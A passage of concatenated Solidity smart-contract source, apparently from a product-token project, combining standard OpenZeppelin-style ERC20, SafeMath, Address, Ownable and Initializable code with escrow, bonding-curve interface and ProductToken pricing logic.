price); _updateSupplierFee(fee.mul(1e12).div(2e12)); require(success, "selling token failed"); } function setSupplier( address wallet_) external virtual onlyOwner { require(wallet_!=address(0), "Address is invalid"); supplier.wallet = wallet_; } function claimSupplier(uint256 amount_) external virtual { require(supplier.wallet!=address(0), "wallet is invalid"); require(msg.sender == supplier.wallet, "The address is not allowed"); if (amount_ <= supplier.amount){ bool success = high.transfer(msg.sender, amount_); if (success) { supplier.amount = supplier.amount.sub(amount_); } } } function _updateSupplierFee(uint256 fee) internal virtual { if( fee > 0 ) { supplier.amount = supplier.amount.add(fee); } } /** * @dev A method that refunds the value of a product to a buyer/customer. * * @param buyer_ The wallet address of the owner whose product token is under the redemption process * @param value_ The market value of the token being redeemed * */ function _refund(address buyer_, uint256 value_) internal virtual override { bool success = high.transfer(buyer_, value_); require(success, "refund token failed"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[45] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface IVNFT { function unitsInToken(uint256 tokenId) external view returns (uint256 units); function approve(address to, uint256 tokenId, uint256 units) external; function allowance(uint256 tokenId, address spender) external view returns (uint256 allowed); function split(uint256 tokenId, uint256[] calldata units) external returns (uint256[] memory newTokenIds); function merge(uint256[] calldata tokenIds, uint256 targetTokenId) external; function transferFrom(address from, address to, uint256 tokenId, uint256 units) external returns (uint256 newTokenId); function safeTransferFrom(address from, address to, uint256 tokenId, uint256 units, bytes calldata data) external returns (uint256 newTokenId); function transferFrom(address from, address to, uint256 tokenId, uint256 targetTokenId, uint256 units) external; function safeTransferFrom(address from, address to, uint256 tokenId, uint256 targetTokenId, uint256 units, bytes calldata data) external; function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface BancorBondingCurveV1Interface { function calculatePriceForNTokens( uint32 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint32 _amount ) external view returns ( uint256 ); function calculatePurchaseReturn( uint32 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount ) external view returns ( uint32 ); function calculateSaleReturn( uint32 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint32 _sellAmount ) external view returns( uint256 ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "./interface/BancorBondingCurveV1Interface.sol"; import "./Escrow.sol"; /// @title ProductToken /// @notice This is version 0 of the product token implementation. /// @dev This contract lays the foundation for transaction computations, including /// bonding curve calculations and variable management. Version 0 of this contract /// does not implement any transaction logic. contract ProductToken is ERC20Upgradeable, Escrow, OwnableUpgradeable { using SafeMathUpgradeable for uint256; event Buy(address indexed sender, uint32 amount, uint256 price); // event to fire when a new token is minted event Sell(address indexed sender, uint32 amount, uint256 price); // event to fire when a token has been sold back event Tradein(address indexed sender, uint32 amount); // event to fire when a token is redeemed in the real world event Tradable(bool isTradable); bool private isTradable; uint256 public reserveBalance; // amount of liquidity in the pool uint256 public tradeinReserveBalance; // amount of liquidity in the pool uint32 public reserveRatio; // computed from the exponential factor in the uint32 public maxTokenCount; // max token count, determined by the supply of our physical product uint32 public tradeinCount; // number of tokens burned through redeeming procedure. This will drive price up permanently uint32 internal supplyOffset; // an initial value used to set an initial price. This is not included in the total supply. address private _manager; BancorBondingCurveV1Interface internal bondingCurve; modifier onlyIfTradable { require( isTradable, "unable to trade now" ); _; } /** * @dev initializer function. * * @param _name the name of this token * @param _symbol the symbol of this token * @param _reserveRatio the reserve ratio in the curve function. Number in parts per million * @param _maxTokenCount the amount of token that will exist for this type. * @param _supplyOffset this amount is used to determine initial price. * @param _baseReserve the base amount of reserve tokens, in accordance to _supplyOffset. * */ function initialize(string memory _name, string memory _symbol, address _bondingCurveAddress, uint32 _reserveRatio, uint32 _maxTokenCount, uint32 _supplyOffset, uint256 _baseReserve) public virtual initializer{ __Ownable_init(); __ERC20_init(_name, _symbol); __ProductToken_init_unchained(_bondingCurveAddress, _reserveRatio, _maxTokenCount, _supplyOffset, _baseReserve); } /** * @dev unchained initializer function. * * @param _reserveRatio the reserve ratio in the curve function. Number in parts per million * @param _maxTokenCount the amount of token that will exist for this type. * @param _supplyOffset this amount is used to determine initial price. * @param _baseReserve the base amount of reserve tokens, in accordance to _supplyOffset. * */ function __ProductToken_init_unchained(address _bondingCurveAddress, uint32 _reserveRatio, uint32 _maxTokenCount, uint32 _supplyOffset, uint256 _baseReserve) internal initializer{ require(_maxTokenCount > 0, "Invalid max token count."); require(_reserveRatio > 0, "Invalid reserve ratio"); bondingCurve = BancorBondingCurveV1Interface(_bondingCurveAddress); reserveBalance = _baseReserve; tradeinReserveBalance = _baseReserve; supplyOffset = _supplyOffset; reserveRatio = _reserveRatio; maxTokenCount = _maxTokenCount; } function decimals() public view virtual override returns (uint8) { return 0; } /** * @dev requires function to be called from owner. sets a bonding curve implementation for this product. * * @param _address the address of the bonding curve implementation * */ function setBondingCurve(address _address) external virtual onlyOwner { require(_address!=address(0), "Invalid address"); bondingCurve = BancorBondingCurveV1Interface(_address); } /** * @dev requires function to be called from owner. this enables customers to buy, sell, or redeem the product. * */ function launch() external virtual onlyOwner { require(!isTradable, 'The product token is already launched'); isTradable = true; emit Tradable(isTradable); } /** * @dev requires function to be called from owner. this prevents customers from buying, selling, or redeeming the product. * */ function pause() external virtual onlyOwner { require(isTradable, 'The product token is already paused'); isTradable = false; emit Tradable(isTradable); } fallback () external { } /** * @dev Function to check how many tokens of this product are currently available for purchase, * by taking the difference between max cap count and current token in circulation or burned. * * @return available the number of tokens available */ function getAvailability() public view virtual returns (uint32 available) { return maxTokenCount - uint32(totalSupply()) - tradeinCount; // add safemath for uint32 later } /** * @dev Function that computes supply value for the bonding curve * based on current token in circulation, token offset initialized, and tokens already redeemed. * * @return supply supply value for bonding curve calculation. */ function _getTotalSupply() internal view virtual returns (uint32 supply) { return uint32(totalSupply().add(uint256(tradeinCount)).add(uint256(supplyOffset))); } /** * @dev Function that computes current price for a token through bonding curve calculation * based on parameters such as total supply, reserve balance, and reserve ratio. * * @return price current price in reserve token (in our case, this is dai). (with 4% platform fee) */ function getCurrentPrice() public view virtual returns (uint256 price) { return getPriceForN(1); } /** * @dev Function that computes price total for buying n token through bonding curve calculation * based on parameters such as total supply, reserve balance, and reserve ratio. * * @param _amountProduct token amount in traded token * @return price total price in reserve token (in our case, this is dai). (with 4% platform fee) */ function getPriceForN(uint32 _amountProduct) public view virtual returns (uint256 price) { (uint value, uint fee) = _getPriceForN(_amountProduct); return value.add(fee); } function _getPriceForN(uint32 _amountProduct) internal view virtual returns (uint256, uint256) { uint256 price = bondingCurve.calculatePriceForNTokens(_getTotalSupply(), reserveBalance, reserveRatio, _amountProduct); //4% is the platform transaction fee uint256 fee = price.mul(4e12).div(1e14); return (price, fee); } function _buyReturn(uint256 _amountReserve) internal view virtual returns (uint32, uint) { uint value = _amountReserve.mul(1e12).div(1.04e12); //4% is the platform transaction fee uint fee = value.mul(4e12).div(1e14); uint32 amount = bondingCurve.calculatePurchaseReturn(_getTotalSupply(), reserveBalance, reserveRatio, value.sub(fee)); return (amount, fee); } /** * @dev Function that computes number of product tokens one can buy given an amount in reserve token. * * @param _amountReserve purchaing 